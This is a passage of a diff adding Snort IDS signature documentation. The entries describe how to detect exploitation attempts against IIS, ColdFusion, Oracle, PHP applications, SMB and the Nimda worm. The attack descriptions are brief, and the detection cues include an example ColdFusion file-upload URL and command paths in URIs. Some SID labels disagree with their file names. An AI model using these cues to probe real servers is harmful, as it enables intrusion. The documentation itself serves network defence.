+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2314.txt
+++ snort-2.8.5.2/doc/signatures/2314.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2314
+
+--
+Summary:
+This event is generated when suspicious shell code is detected in
+network traffic.
+
+--
+Impact:
+Denial of Service (DoS) possible execution of arbitrary code.
+
+--
+Detailed Information:
+This event is generated when suspicious shell code is detected. Many
+buffer overflow attacks contain large numbers of NOOP instrucions to pad
+out the request. Other attacks contain specific shell code sequences
+directed at certain applications or services.
+
+The shellcode in question may also use Unicode encoding.
+
+--
+Affected Systems:
+	Any software running on x86 architecture.
+
+--
+Attack Scenarios:
+An attacker may exploit a DCERPC service by sending shellcode in the RPC
+data stream. Sending large amounts of data to the Microsoft Workstation
+service can cause a buffer overflow condition in the logging function
+thus presenting an attacker with the opportunity to issue a DoS attack
+or in some cases, to execute code of their choosing.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+False positives may be generated by binary file transfers.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Make sure the target host has all current patches applied and has the
+latest software versions installed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1242.txt
+++ snort-2.8.5.2/doc/signatures/1242.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1242
+
+--
+Summary:
+This event is generated when an attempt is made to access the .ida Indexing Service ISAPI filter. 
+
+--
+Impact:
+Intelligence gathering activity. If an .ida file is erroneously shared from a network share, an error message is returned from a request that contains the share path will be disclosed.
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) installs several Internet Service Application Programming Interface (ISAPI) extensions.  The .ida ISAPI filter provides support for administrative scripts.  Files with the .ida suffix should not be located on network shares.  If an attempt is made to access them from a network share, an error message is returned disclosing the share path.  
+
+--
+Affected Systems:
+Hosts running IIS 4.0
+Hosts running IIS 5.0
+
+--
+Attack Scenarios:
+An attacker can attempt to access a file with the .ida suffix in an attempt to receive an error message with disclosure about the share path.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+The HotSaNIC (hotsanic.sourceforge.net) System and Network Info Centre
+can graph the occurence of worms attacks on a server against time. The
+HotSaNIC system displays 'WEB-IIS ISAPI .ida access' attempts on the
+server in images named default.ida-year.gif, default.ida-month.gif,
+default.ida-week.gif and also using a web page default.ida.html. Each
+time any of these components are accessed it generates an event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Do not place files with the .ida suffix on a network share.
+ 
+
+--
+Contributors:
+Original rule written by Dr SuSE and C. Mayor 
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+False positive information contributed by Chris McMahon <chris@mcmahon.co.uk>
+--
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS552
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0071
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2212.txt
+++ snort-2.8.5.2/doc/signatures/2212.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2212
+
+--
+Summary:
+This event is generated when an attempt is made to access imageFolio.cgi on an internal web server. This may indicate an attempt to exploit a cross-site scripting vulnerability in BizDesign ImageFolio 3.01.
+
+--
+Impact:
+Remote execution of arbitrary code, possible session hijack.
+
+--
+Detailed Information:
+BizDesign ImageFolio 3.01 is a CGI-based web server application that manages image galleries. It contains a cross-site scripting vulnerability in imageFolio.cgi, where input is not properly validated. An attacker can craft a URL that, when executed by a legitimate user, runs with the security context of the web server. In this way, the attacker can obtain a legitimate user's session cookie, thereby posing as the user for the duration of the session.
+
+--
+Affected Systems:
+Any systems running BizDesign Image Folio version 3.0.1 or lower.
+
+--
+Attack Scenarios:
+An attacker crafts a URL that, when activated by a legitimate user, executes code that obtains the user's cookie on the user's computer with the security context of the web server. The attacker can then pose as the user for the duration of the session.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses imageFolio.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is unknown if this vulnerability has been fixed in ImageFolio 3.1. Contact the vendor, Bizdesign (http://www.bizdesign.com) for more information.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/6265
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2846.txt
+++ snort-2.8.5.2/doc/signatures/2846.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2846
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure repcat_import_check
+. This procedure is included in
+sys.dbms_repcat_sna_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/377.txt
+++ snort-2.8.5.2/doc/signatures/377.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+377
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Windows host running Network Toolbox 3 software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows host running Network Toolbox 3 software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS161
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3076.txt
+++ snort-2.8.5.2/doc/signatures/3076.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3076
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"unsubscribe" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/915.txt
+++ snort-2.8.5.2/doc/signatures/915.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+915
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000533.txt
+++ snort-2.8.5.2/doc/signatures/100000533.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000533
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VUBB" application running on a webserver. Access to the 
+file "functions.php" with SQL commands being passed as the "email" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "email" parameter in the "functions.php" script used by 
+the "VUBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VUBB
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1368.txt
+++ snort-2.8.5.2/doc/signatures/1368.txt
@@ -0,0 +1,48 @@
+Rule:
+
+--
+Sid:
+1368
+
+--
+Summary:
+Attempted ps command access via web
+
+--
+Impact:
+Attempt to gain information on system files and filestructure
+
+--
+Detailed Information:
+This is an attempt to gain intelligence on the filesystem on a webserver. The ls command lists the files and filesystem layout on a UNIX or Linux based system. The attacker could possibly gain information needed for other attacks on the host.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/ls'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine. 
+
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1369
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2691.txt
+++ snort-2.8.5.2/doc/signatures/2691.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2691
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure parallel_push_recovery
+. This procedure is included in
+sys.dbms_defer_internal_sys.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000725.txt
+++ snort-2.8.5.2/doc/signatures/100000725.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000725
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "PHPRaid" application running on a webserver. Access to the file "view.php" with SQL commands being passed as the "raid_id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "raid_id" parameter in the "view.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2133.txt
+++ snort-2.8.5.2/doc/signatures/2133.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 2133
+
+
+--
+Summary:
+This event is generated when an attempt is made to access a Microsoft Biztalk Server application from sources external to the protected network. 
+
+--
+Impact:
+Arbitrary code execution and possible administrator access to the target host.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a Biztalk Server application. A buffer overrun exists in Biztalk that may lead to an attacker gaining the ability to execute arbitrary code on the host with the privileges of the user running the IIS webserver.
+
+The flaw exists in the HTTP Receiver functionality of Biztalk and this is not enabled by default.
+
+--
+Affected Systems:
+Any host using Microsoft Biztalk.
+
+--
+Attack Scenarios:
+An attacker would need to supply an overly long HTTP POST request to biztalkhttpreceive.dll.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Disable the HTTP Receive functionality.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7469
+http://www.securityfocus.com/bid/7470
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0117
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0118
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/ms03-016.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/905.txt
+++ snort-2.8.5.2/doc/signatures/905.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+905
+
+--
+Summary:
+This event is generated when an attempt is made to access an Example 
+application on a Coldfusion 4.x server. 
+
+This 'Web Publish Example Script' can be exploited to allow the attacker
+to upload arbitrary files to the server.
+
+--
+Impact:
+Serious: The vulnerability allows custom code to be uploaded to the 
+server.
+
+--
+Detailed Information:
+ColdFusion (Macromedia, formerly Allaire) web servers have several 
+default Example applications installed that have vulnerabilities.  The 
+'Web Publish Example script' application can be exploited to allow the 
+uploading of arbitrary files.
+
+See Macromedia Security Bulletin (MPSB01-08) for complete information.
+
+
+--
+Affected Systems:
+	ColdFusion versions 2.x, 3.x, 4.x for Windows
+	ColdFusion versions 4.x for Solaris, HP-UX
+	ColdFusion versions 4.5.x for Linux
+	Expression Evaluator Patch (ASB99-01)
+
+--
+Attack Scenarios:
+The web application allows file uploading via a URL like this:
+
+http://www.target.com/CFDOCS/exampleapps/publish/admin/application.cfm
+
+Once the file has been uploaded, it can be executed by crafting a 2nd 
+URL to the uploaded file.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If ColdFusion 4.x's example code is being used, This rule will generate 
+an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Delete all example code.  This is one of several significant 
+vulnerabilities that are exploitable if the example code is left on a 
+production server.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Darryl Davidson <ddavidson@talisman-intl.com>
+
+-- 
+Additional References:
+
+Macromedia Security Bulletin (MPSB01-08)
+http://www.macromedia.com/devnet/security/security_zone/mpsb01-08.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/926.txt
+++ snort-2.8.5.2/doc/signatures/926.txt
@@ -0,0 +1,62 @@
+SID:
+926
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000368.txt
+++ snort-2.8.5.2/doc/signatures/100000368.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000368
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_disallow.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_disallow.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2993.txt
+++ snort-2.8.5.2/doc/signatures/2993.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2993
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000353.txt
+++ snort-2.8.5.2/doc/signatures/100000353.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000353
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "tinyBB" application running on a webserver. Access to the file "footers.php" using a remote file being passed as the "tinybb_footers" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "tinybb_footers" parameter in the "footers.php" script used by the "tinyBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using tinyBB
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1005.txt
+++ snort-2.8.5.2/doc/signatures/1005.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1005
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1343.txt
+++ snort-2.8.5.2/doc/signatures/1343.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1341
+
+--
+Summary:
+Attempted cc command access via web
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a C or C++ source on a host. The cc
+command is the GNUproject's C and C++ compiler used to compile C and
+C++ source filesinto executable binary files. The attacker could
+possibly compile aprogram needed for other attacks on the system or
+install a binaryprogram of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains
+'/usr/bin/cc'in theURI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside ofit's designated web root or cgi-bin. This command may also
+be requested on acommand line should the attacker gain access to the
+machine. Wheneverpossible, sensitive files and certain areas of the
+filesystem shouldhave the system immutable flag set to prevent files
+from being addedto the host. On BSD derived systems, setting the
+systems runtimesecurelevel also prevents the securelevel from being
+changed. (note:the securelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1342
+sid: 1343
+sid: 1344
+sid: 1345
+sid: 1346
+sid: 1347
+sid: 1348
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1298.txt
+++ snort-2.8.5.2/doc/signatures/1298.txt
@@ -0,0 +1,52 @@
+Rule:
+
+Sid: 1289
+
+Summary:
+This event is generated when a TFTP GET request is made for Admin.dll.  This is normally an indication that a system on the network is infected with the W32/Nimda worm.
+
+Impact:
+In normal situations this is a good indication that the host transmitting the request has been compromised in the past by Code Red, Code Red II, or the sacmind/IIS worm.  All of these worms created backdoors that could allow remote attackers to run abitrary commands on the machine.
+
+Detailed Information:
+The Nimda worm propogates in several ways.  After it infects a host it begins scanning for other compromised hosts, sending infected emails, infecting .html files, and adding trojans to system binaries.  To further expose the infected system it enables sharing of the c: drive, creates a Guest account, and adds the guest account to the Administrators group.  
+
+Currently this rule searches for "Admin.dll" in TFTP GET requests.  This rule will detect hosts that have just been compromised by Nimba and are searching for Admin.dll to elevate its system privileges to Local/System.
+
+Affected Systems
+Windows 95
+Windows 98
+Windows ME
+Windows NT
+Windows 2000
+
+Attack Scenarios:
+Once W32/Nimba infects a compromised host it will make a request for "Admin.dll".  This binary file is used to elevate the privilege level of the W32/Nimba worm to Local/System, so it can begin infecting system files and other hosts.
+
+Ease of Attack:
+Simple.  Nimba uses backdoors left by other worms and trojans that target IIS.  A large number of scripts and exploits exist in the wild that mimic the behavior of the Nimba worm.
+
+False Positives:
+This rule is triggered by any TFTP GET request for Admin.dll, if this file name is being used during a legitimate TFTP session this rule will generate a false positive.
+
+False Negatives:
+This rule was created to catch the generic version of the W32/Nimba worm.  Any attacker who changes "Admin.dll" to a another filename will bypass this rule.
+
+Corrective Action:
